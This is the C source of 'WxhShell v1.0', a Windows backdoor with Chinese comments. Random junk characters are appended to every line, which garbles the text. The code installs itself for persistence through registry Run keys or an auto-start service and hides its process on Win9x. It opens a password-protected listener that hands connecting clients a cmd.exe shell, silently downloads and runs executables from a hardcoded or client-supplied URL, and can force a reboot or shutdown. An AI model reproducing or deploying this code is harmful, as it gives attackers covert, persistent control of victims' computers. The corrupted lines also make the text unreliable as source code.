    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qxHsmGV  
    else { 1]aya(  
    closesocket(wsh); ,w,)n^  
    ExitThread(0); +$R%Vbd  
    } _@Y17L.  
    break; LbnF8tj}h  
    } 'EB5#  
  // 获取shell b{,vZhP-  
  case 's': { j?(@x>HA  
    CmdShell(wsh); .p'\@@o5  
    closesocket(wsh); RPkOtRKL=w  
    ExitThread(0); DCgiTT\  
    break; 7??j}ob>  
  } ( `d_DQ  
  // 退出 ah!fQLMH  
  case 'x': { qX]ej 2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _<jccQ  
    CloseIt(wsh); KA."[dVa  
    break; a61?G!]  
    } Q[bIkvr|  
  // 离开 }S9uh-j6l  
  case 'q': { h=_h,?_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _2eL3xXha.  
    closesocket(wsh); *B+YG^Yu^  
    WSACleanup(); X'5+)dj  
    exit(1); u2 U4MV1C  
    break; 7T?7KS  
        } `4"&_ltD  
  } NmV][0(BS  
  } ]2xoeNF/W{  
{N0ky=u d  
  // 提示信息 cWa> rUsF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gC/-7/}  
} u_S>`I  
  } "HbrYYRb'  
\JGRd8S[  
  return; p+R8Mo;I  
} <$`ud P@  
pl.=u0 *  
// shell模块句柄 <~Tfi*^+  
int CmdShell(SOCKET sock) 7@i2Mz/eV  
{ [oS.B\Vc  
STARTUPINFO si; JmVha!<qk  
ZeroMemory(&si,sizeof(si)); ;%PdSG=U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ] I0(_e|z}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g$S<_$Iey  
PROCESS_INFORMATION ProcessInfo; U=UnE"h  
char cmdline[]="cmd"; Xu\22/Co  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LWP&Si*j  
  return 0; q8vRUlf  
} [>f4&yY  
@0rwvyE=+3  
// 自身启动模式 !O#NP!   
int StartFromService(void) 9rQpKq:# E  
{ Q"H1(kG|  
typedef struct |p+ xM  
{ cH$Sk  
  DWORD ExitStatus; D\V (r\i  
  DWORD PebBaseAddress; N%`Eq@5  
  DWORD AffinityMask; "a >a "Ei  
  DWORD BasePriority; 6b#J!:?  
  ULONG UniqueProcessId; JY@x.?N5$  
  ULONG InheritedFromUniqueProcessId; \JEI+A PY*  
}   PROCESS_BASIC_INFORMATION; Gex%~';+q  
( j~trpe,  
PROCNTQSIP NtQueryInformationProcess; ]6EXaf#  
5>[ j^g+@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >a1 ovKF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AT,?dxP J  
c95{Xy  
  HANDLE             hProcess; %Tv^BYQAZ  
  PROCESS_BASIC_INFORMATION pbi;  W,)qE^+  
5VPP 2;J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GGchNt  
  if(NULL == hInst ) return 0; pxs`g&3yd  
j*;/Cah]k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RJZ4fl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %O3 r>o=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z|>f*Z  
KwuNHK)-  
  if (!NtQueryInformationProcess) return 0; zbL6TP@=  
t^1c^RpTb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cdd +I5~  
  if(!hProcess) return 0; EJ3R{^  
afa7'l=^i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D>Ph))QI  
IT0*~WMZ  
  CloseHandle(hProcess); G#A& Y$  
Sud5F4S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j8gi/07l  
if(hProcess==NULL) return 0; G|Y9F|.!  
- '5OX/Szq  
HMODULE hMod; /.aDQ>  
char procName[255]; &D~70N\L  
unsigned long cbNeeded; onj:+zl  
bbU{ />yW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,, G6L{&Z  
qZ7/d,w  
  CloseHandle(hProcess); %L$P']%t@  
r-a/vx#  
if(strstr(procName,"services")) return 1; // 以服务启动 slK L(-D{  
[bvIT]Z  
  return 0; // 注册表启动  =j1rw  
} Zj8aD-1]U^  
ul$YV9 [\  
// 主模块 ,fwN_+5  
int StartWxhshell(LPSTR lpCmdLine) =1"8ua  
{ O{9h'JU  
  SOCKET wsl; V OViOD  
BOOL val=TRUE; U8(Rye$  
  int port=0; )d6Ya1vJH  
  struct sockaddr_in door; PDcZno?  
6 4da~SEn  
  if(wscfg.ws_autoins) Install(); Y@Kp'+t(!  
m ,U`hPJ  
port=atoi(lpCmdLine); z_p/.kQ'5  
8PV`4=,OI  
if(port<=0) port=wscfg.ws_port; |0mVK`  
BZE~k?*  
  WSADATA data; /IC7q?avQN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l&4TfzkY  
rE bC_<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @M-+-6+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2|)3Ly9  
  door.sin_family = AF_INET; ~a5p_xP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =,~h]_\_  
  door.sin_port = htons(port); :,=no>mMx  
v&B*InR?+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /0mbG!Ac  
closesocket(wsl); +BRmqJ3  
return 1; B&`hvR  
} PQRh5km  
YGObTIGJvf  
  if(listen(wsl,2) == INVALID_SOCKET) { oP".>g-.  
closesocket(wsl); ?*z#G'3z1  
return 1; :sBg+MS  
} g(Jzu'  
  Wxhshell(wsl); v 6?{g  
  WSACleanup(); hb"t8_--c  
gC#PqK~  
return 0; xh\{ dUPA  
Y$ ;C@I  
} KFd"JtPg  
h&Ehp   
// 以NT服务方式启动 Q- %Q7n'c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^Q]*CU+C  
{ pCNihZ~  
DWORD   status = 0; M ,8r{[2  
  DWORD   specificError = 0xfffffff; ":*PC[)W  
;jTP|q?|{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hp}J_/+4n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @U%I 6 t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~n84x  
  serviceStatus.dwWin32ExitCode     = 0; 0EYK3<k9!  
  serviceStatus.dwServiceSpecificExitCode = 0; S ; x;FU  
  serviceStatus.dwCheckPoint       = 0; z.:{   
  serviceStatus.dwWaitHint       = 0; JI}(R4uV  
Wr7^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a'ViyTBo  
  if (hServiceStatusHandle==0) return; F t%f"Z  
K^k1]!W=  
status = GetLastError(); s,Cm}4L6  
  if (status!=NO_ERROR) SQ)$>3>C  
{ l'(Cxhf.W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {b>tX)Tep  
    serviceStatus.dwCheckPoint       = 0; "2X=i`rTi  
    serviceStatus.dwWaitHint       = 0; jBV2]..  
    serviceStatus.dwWin32ExitCode     = status; uRQm.8b  
    serviceStatus.dwServiceSpecificExitCode = specificError; U%ce0z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5DfAL;o!  
    return; lC +p2OG^[  
  } tgDmHxB]0  
9/RbfV[)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SM5i3EcFYP  
  serviceStatus.dwCheckPoint       = 0; UcDJ%vI  
  serviceStatus.dwWaitHint       = 0; oq=D9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~<3qsA..  
} 4em7PmT  
vfJ}t#%UH  
// 处理NT服务事件,比如:启动、停止  pFGK-J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =V1k'XJ  
{ S'HM|&  
switch(fdwControl) O9]j$,i  
{ _$By c(.c  
case SERVICE_CONTROL_STOP: >>wb yj8  
  serviceStatus.dwWin32ExitCode = 0; ;"&^ckP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zGu(y@o  
  serviceStatus.dwCheckPoint   = 0; gqJ&Q t#f  
  serviceStatus.dwWaitHint     = 0; fEdQR->  
  {  FZnkQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O: sjf?z  
  } K GkzE  
  return; 'bkecC  
case SERVICE_CONTROL_PAUSE: t(CdoE,6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Lm9y!>1"O  
  break; 0X-u'=Bs  
case SERVICE_CONTROL_CONTINUE: er^z:1'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fSl+;|K n  
  break; >\8Bu#&s4  
case SERVICE_CONTROL_INTERROGATE: tuK"}HepB  
  break; =R!=uml(  
}; t/_w}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -c%GlpZw  
} 52tIe|KwL  
qI<6% ^i  
// 标准应用程序主函数 ji`N1e,l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g||{Qmr=1  
{ EKk~~PhW 8  
n w @cAv  
// 获取操作系统版本 e6k}-<W*q  
OsIsNt=GetOsVer(); |t|+pBB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z['>`Kt  
8^$}!9B~JZ  
  // 从命令行安装 ];^A8?  
  if(strpbrk(lpCmdLine,"iI")) Install(); RM-| ?%  
NyJU?^f&v  
  // 下载执行文件 Q}W6?XDu  
if(wscfg.ws_downexe) { k _hiGg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 18Pc4~ >0  
  WinExec(wscfg.ws_filenam,SW_HIDE); =XJ SE+ 7  
} Q0!gTV  
;Mc\>i/  
if(!OsIsNt) { 75@){ :  
// 如果时win9x,隐藏进程并且设置为注册表启动 !~m)_Q5?~  
HideProc(); tk<dp7y7  
StartWxhshell(lpCmdLine); HLAWx/c,j"  
} ,$mnD@)  
else G|Ic6Sd  
  if(StartFromService()) &m`1lxT  
  // 以服务方式启动 vML01SAi  
  StartServiceCtrlDispatcher(DispatchTable); ,2[laJ  
else u1ggLH!U  
  // 普通方式启动 sZPPS&KoP3  
  StartWxhshell(lpCmdLine); /lm;.7_J+  
K-)_1  
return 0; q>%KIBh(  
} Yp./3b VO  
n%3rv?m7  
2JYyvJ>  
a =*(>=  
=========================================== NUEy0pLw  
OTL=(k  
{~k /xM.-  
~LuZ pV  
N/TU cG|m\  
}q G{1Er  
" S$+vRX7  
,4jkTQ*@2  
#include <stdio.h> wZh&w<l'  
#include <string.h> @xm O\  
#include <windows.h> v6HBO#F'V{  
#include <winsock2.h> iT%aAVs  
#include <winsvc.h> Va\dMv-b  
#include <urlmon.h> hkJ4,.  
 3@J0-w  
#pragma comment (lib, "Ws2_32.lib") V z8o  
#pragma comment (lib, "urlmon.lib") 5 1@V""m  
|J'@-*5?[8  
#define MAX_USER   100 // 最大客户端连接数 05LVfgJ'q  
#define BUF_SOCK   200 // sock buffer Cv>|>Ob#  
#define KEY_BUFF   255 // 输入 buffer )(9>r /bq  
?&_ -,\t  
#define REBOOT     0   // 重启 &kHp}\  
#define SHUTDOWN   1   // 关机 Ji :2P*  
 VD;Ot<%  
#define DEF_PORT   5000 // 监听端口 V2,54YE  
U voX\  
#define REG_LEN     16   // 注册表键长度 wRgmw 4  
#define SVC_LEN     80   // NT服务名长度 -f#0$Z/0  
"8&pT^  
// 从dll定义API 7!#x-KR~5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "nU5c4   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (\, <RC\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?5Wjy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yaMNt}y-q  
6,G1:BV{K  
// wxhshell配置信息 BdG~y1%:  
struct WSCFG {  nk>  
  int ws_port;         // 监听端口 3DV';  
  char ws_passstr[REG_LEN]; // 口令 .|JJyjRA+  
  int ws_autoins;       // 安装标记, 1=yes 0=no v98=#k!F  
  char ws_regname[REG_LEN]; // 注册表键名 xM8}Xo  
  char ws_svcname[REG_LEN]; // 服务名 fB:9:NX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hq6fDRO/4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1Zx|SBF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aA-A>z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4!i`9w$$"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u01 'f-h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sD7Qt  
L$cNxz0$  
}; #M$[C d I$  
Jor >YB`X  
// default Wxhshell configuration -ZlBg~E  
struct WSCFG wscfg={DEF_PORT, "yCCei,hA?  
    "xuhuanlingzhe", NEa :  
    1, &W-L`aFd0  
    "Wxhshell", wOOBW0tj  
    "Wxhshell", s:7^R-"  
            "WxhShell Service", 8;ke,x  
    "Wrsky Windows CmdShell Service", S(.AE@U  
    "Please Input Your Password: ", ~YA* RCe  
  1, \{t#V ~  
  "http://www.wrsky.com/wxhshell.exe", a*$to/^r  
  "Wxhshell.exe" mv O!Y  
    }; }=z_3JfO  
@*]l.F   
// 消息定义模块 ^ llZf$`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {E-.W"t4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "XT7;!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]|it&4l  
char *msg_ws_ext="\n\rExit."; Tz4,lwuWX7  
char *msg_ws_end="\n\rQuit."; V%8?f,  
char *msg_ws_boot="\n\rReboot..."; NZdjS9  
char *msg_ws_poff="\n\rShutdown..."; R  5-q{  
char *msg_ws_down="\n\rSave to "; <k<K"{  
KtchK pv  
char *msg_ws_err="\n\rErr!"; Ve*NM|jg  
char *msg_ws_ok="\n\rOK!"; E0!}~Z)  
vH%AXz IA  
char ExeFile[MAX_PATH]; <vJPKQ`=:  
int nUser = 0; K*&M:u6E  
HANDLE handles[MAX_USER]; seC]=UJh#>  
int OsIsNt; eqU2>bI f  
VR ^qwS/  
SERVICE_STATUS       serviceStatus; f.JZ[+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /:3:Ky3  
0?KXQD  
// 函数声明 -G e5gQ=  
int Install(void);  n0F.Um  
int Uninstall(void); FRd!UqMXY  
int DownloadFile(char *sURL, SOCKET wsh); (+6 8s9XS7  
int Boot(int flag); C93BK)$}  
void HideProc(void); 26PUO$&b.  
int GetOsVer(void); X1&Ug ^  
int Wxhshell(SOCKET wsl); <nlZ?~%}  
void TalkWithClient(void *cs); _BO:~x  
int CmdShell(SOCKET sock); [bk2RaX:i  
int StartFromService(void); ^u&oS1U  
int StartWxhshell(LPSTR lpCmdLine); oW(lQ'"  
#no~g( !o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zt4g G KG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3I&=1o  
?%% 'GX  
// 数据结构和表定义 njeRzX  
SERVICE_TABLE_ENTRY DispatchTable[] = "RMBV}<T  
{ >/mi#Y6  
{wscfg.ws_svcname, NTServiceMain}, D9,609w  
{NULL, NULL} {*,~,iq  
}; hr_ 5D  
aDmyr_f$  
// 自我安装 'kb5pl~U  
int Install(void) Gdmh#pv  
{ T6m#sVq  
  char svExeFile[MAX_PATH]; C~4_Vc*  
  HKEY key; JBfDz0P  
  strcpy(svExeFile,ExeFile); ' N^\9X0  
d0Xb?- }3M  
// 如果是win9x系统,修改注册表设为自启动 TG7Ba[%  
if(!OsIsNt) { _;(`u!@/{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]Q,;5>#W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /_<`#?5T(  
  RegCloseKey(key); 3[I; 3=O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _G%]d$2f`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H e ABU(o4  
  RegCloseKey(key); !>fYD8Ft,  
  return 0; yTzP{I  
    } 5v <>%=  
  } c.-h'1  
} A}WRpsA9  
else { _a1 =?  
$2B _a  
// 如果是NT以上系统,安装为系统服务 _J(n~"eR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xxkU u6x#  
if (schSCManager!=0) /WlK*8C  
{ nv&uhu/q  
  SC_HANDLE schService = CreateService 1{+x >Pv:  
  ( W9n0Jv  
  schSCManager, gw~ %jD-2  
  wscfg.ws_svcname, bHVAa#  
  wscfg.ws_svcdisp, (uW/t1  
  SERVICE_ALL_ACCESS, )*#Pp )Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H,,-;tN?  
  SERVICE_AUTO_START, M2HO!btf  
  SERVICE_ERROR_NORMAL, ALvj)I`Al  
  svExeFile, bj23S&  
  NULL, Vcn04j#Q  
  NULL, V ij P;  
  NULL, !<r+h, C  
  NULL, hoY.2 B_  
  NULL a h<1&UG,  
  ); w1HE^ /  
  if (schService!=0) 'F%4[3a$\n  
  { Z|;<:RKWY  
  CloseServiceHandle(schService); _svEPHU  
  CloseServiceHandle(schSCManager); h'VN& T,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?_mcg8A@@*  
  strcat(svExeFile,wscfg.ws_svcname); (ii6w d< *  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x ,$N!X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @(>XSTh9  
  RegCloseKey(key); Gt#Jr!N~  
  return 0; #vrxhMo  
    } qu]ch&"?U  
  } OS8 ^mC  
  CloseServiceHandle(schSCManager); I)#=#eI* :  
} iEx.BQ+  
} &:}e`u@5|  
v{{Cj83S+  
return 1; L%](C  
} kwxb~~S}h(  
^0"^Xk*  
// 自我卸载 T}} 0hs;  
int Uninstall(void) N]n]7(e+0C  
{ i9Fg  
  HKEY key; C!Cg.^;  
9~+A<X]Hd  
if(!OsIsNt) { 7sP;+G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O7@CAr  
  RegDeleteValue(key,wscfg.ws_regname); Eu/~4:XN  
  RegCloseKey(key); 6k6M&a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OLXkiesK{  
  RegDeleteValue(key,wscfg.ws_regname); &qw7BuF  
  RegCloseKey(key); ' JHCf  
  return 0; 5 o:VixZf  
  } &<I*;z6%t  
} *r!f! eA:  
} { 3``To$  
else { m87,N~DP  
D'V0b"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .K?',x  
if (schSCManager!=0) }e3M5LI1L  
{ xml@]N*D#E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 49f- u  
  if (schService!=0) z;1y7W!v  
  { =Y`P}vI]w%  
  if(DeleteService(schService)!=0) { Rz}?@zh_8  
  CloseServiceHandle(schService); n}==  
  CloseServiceHandle(schSCManager); .DSn H6O  
  return 0; (IX iwu  
  } [6x-c;H_4  
  CloseServiceHandle(schService); 0_yE74i  
  } F#=XJYG1  
  CloseServiceHandle(schSCManager); t~pA2?9@  
} :xw2\:5~0  
} O v3W;jD  
9k\`3SE  
return 1; -q7A\8C  
} O+;0|4V%  
*S_e:^  
// 从指定url下载文件 hoxn!x$?  
int DownloadFile(char *sURL, SOCKET wsh) {zoUU  
{ &tY3nr  
  HRESULT hr; ;/i"W   
char seps[]= "/"; u2HkAPhD  
char *token; pAS!;t=n,  
char *file; rQiX7  
char myURL[MAX_PATH]; KDwz!:ye  
char myFILE[MAX_PATH]; htc& !m  
$q*kD#;mh  
strcpy(myURL,sURL); -1Y9-nn[m  
  token=strtok(myURL,seps); MLg<YL  
  while(token!=NULL) pT]M]/y/:  
  { & pwSd  
    file=token; #!p=P<4M  
  token=strtok(NULL,seps); fr'M)ox1  
  } s vn[c*  
{#q']YDe`  
GetCurrentDirectory(MAX_PATH,myFILE); y e!Bfz>  
strcat(myFILE, "\\"); 'B}pIx6k~  
strcat(myFILE, file); tf64<j6  
  send(wsh,myFILE,strlen(myFILE),0); D|I(2%aC  
send(wsh,"...",3,0); kTQ:k }%B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A7U'>r_.  
  if(hr==S_OK) /nXp5g^6(  
return 0; @k~?h=o\b  
else M,V+bt  
return 1; HE&,?vioy  
~ `2w ul  
} }GvoQ#N  
G%)?jg@EA  
// 系统电源模块 GypZ!)1  
int Boot(int flag) Mq) n=M  
{ R_h(Z{d  
  HANDLE hToken; E [JXQ76  
  TOKEN_PRIVILEGES tkp; m1_?xU  
i} 96, {  
  if(OsIsNt) { P8NKp O\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >JT{~SRB|Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U`q[5U"  
    tkp.PrivilegeCount = 1; ^B@4 w\t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zjgK78!<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gd<8RVA  
if(flag==REBOOT) { oTZ?x}Z1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "?,3O2t  
  return 0; SCeZt [  
} RAKQ+Y"nl  
else { ANSvZqKh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9[DQ[bL  
  return 0; FtN1ZZ"<*  
} []Cvma 1\  
  } 6h>8^l  
  else { \Ekez~k{`  
if(flag==REBOOT) { Qu]0BVIe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 43rM?_72  
  return 0; "FQh^+  
} )hk=wu6  
else { b{)('C$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TI}H(XL(  
  return 0;  .Pq8C  
} 4zghM<  
} k/l@P  
4,9AoK)yp  
return 1; =1^a/  
} tYIHsm\b  
#%VprcEK  
// win9x进程隐藏模块 T Uhp  
void HideProc(void) (Br$(XJoK}  
{ `.;7O27A^%  
cb&y8!ci~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m6V1m0M  
  if ( hKernel != NULL ) 5X&<+{bX  
  { Bir }X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %9M; MK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D{o1G?A  
    FreeLibrary(hKernel); $o\p["DP  
  } iM2 EEC  
yWIieztp  
return; GG"0n{>0  
} L:YsAv  
1 hZM))  
// 获取操作系统版本 y:4Sw#M%(  
int GetOsVer(void) ;0E"4(S.q1  
{ fLI@;*hL0  
  OSVERSIONINFO winfo; ;KQ'/nII  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2BH>TmS  
  GetVersionEx(&winfo); a2/r$Tgm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9?D7"P+  
  return 1; w :FH2*  
  else &_4A6  
  return 0; UTA0B&aB  
} +lJuF/sS8m  
37p0*%a":  
// 客户端句柄模块 $ajw]2kx  
int Wxhshell(SOCKET wsl) B0p>'O2  
{ SUD]Wl7G`r  
  SOCKET wsh; =)M8>>l  
  struct sockaddr_in client; -Kg@Sj/U}R  
  DWORD myID;  %W"\  
PkDL\Nqe  
  while(nUser<MAX_USER) x|0Q\<mEe  
{ Y@eHp-[  
  int nSize=sizeof(client); b("CvD8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^S ,E"Q  
  if(wsh==INVALID_SOCKET) return 1; &4*&L.hPM^  
*(?YgV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O#O~A |  
if(handles[nUser]==0) #a#~YSnG  
  closesocket(wsh); "EEE09~l\  
else b]RCe^E1  
  nUser++; C,2IET  
  } h83ho  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D\({]oj]  
>[|:cz  
  return 0; -D:J$d 6R<  
} "]c:V4S#`A  
S-2xe?sb  
// 关闭 socket ?Tuh22J{Q  
void CloseIt(SOCKET wsh) ) 2S0OY.  
{ ""pJO 6bI  
closesocket(wsh); $L</{bXW  
nUser--; {(a@3m~a%  
ExitThread(0); 3kR- WgVF,  
} w41#? VC/  
hph 3kfR  
// 客户端请求句柄 Jq6p5jr"  
void TalkWithClient(void *cs) W[^XG\  
{ ac+7D:X  
l^$:R~gS  
  SOCKET wsh=(SOCKET)cs; PNc200`v4_  
  char pwd[SVC_LEN]; vJ"@#$.  
  char cmd[KEY_BUFF]; 9q* sR1  
char chr[1]; asQ" |]m  
int i,j; w-/bLg[L?$  
s #L1:L  
  while (nUser < MAX_USER) { [Hd^49<P2  
yr sP'th  
if(wscfg.ws_passstr) { _9n.ir5YX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u x:,io  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S<p "k]  
  //ZeroMemory(pwd,KEY_BUFF); sK?[ 1BI  
      i=0; ?rBj{]=  
  while(i<SVC_LEN) { =Rb,`%  
-^#Ix;%  
  // 设置超时  )_j.0a  
  fd_set FdRead; |:!0`p{R  
  struct timeval TimeOut; ;uoH+`pf  
  FD_ZERO(&FdRead); K?I@'B'  
  FD_SET(wsh,&FdRead); "#4PU5.  
  TimeOut.tv_sec=8; -D!F|&$  
  TimeOut.tv_usec=0; P:*'x9`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZlO@PlZ)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uaU!V4-  
7ZZSAI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2A`EFk7_X  
  pwd=chr[0]; 1M 3U)U  
  if(chr[0]==0xd || chr[0]==0xa) { SF.,sCk  
  pwd=0; a S<JsB  
  break; 6 Dg[ b  
  }  h@W}xT  
  i++; |d%Dw^  
    } ;7m>40W  
=z=Guvcn`  
  // 如果是非法用户,关闭 socket =HoiQWQs`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Mm6 (Q  
} $u3N ',&  
4uNcp0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k ,<L#?,a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0.@/I}R[  
#h r!7Kc;N  
while(1) { }Bc6:a  
-CL7^  
  ZeroMemory(cmd,KEY_BUFF); '|FM|0~-J  
c7iu[vE'+  
      // 自动支持客户端 telnet标准   .7) A8R7Wt  
  j=0; r ,b  
  while(j<KEY_BUFF) { ;OdUH   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'kh%^_FH7  
  cmd[j]=chr[0]; 8|d[45*q  
  if(chr[0]==0xa || chr[0]==0xd) { 4yBe(&N-d  
  cmd[j]=0; #e9B|Y?b  
  break;  bM-Y4[  
  } ( j-(fS  
  j++; >Mvt;'c  
    } ^2mXXAQf7^  
gcv,]v 8  
  // 下载文件 N}dJ)<(2~  
  if(strstr(cmd,"http://")) { pg>P]a{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -9aht}Z  
  if(DownloadFile(cmd,wsh)) 'm2,7]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *K+*0_  
  else G %#us3x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F5MWxAS,>  
  } e,4!/|H:  
  else { D6ck1pxkx  
x65e,'  
    switch(cmd[0]) { QPFpGS{d  
  !4 hs9b  
  // 帮助 @x=CMF15  
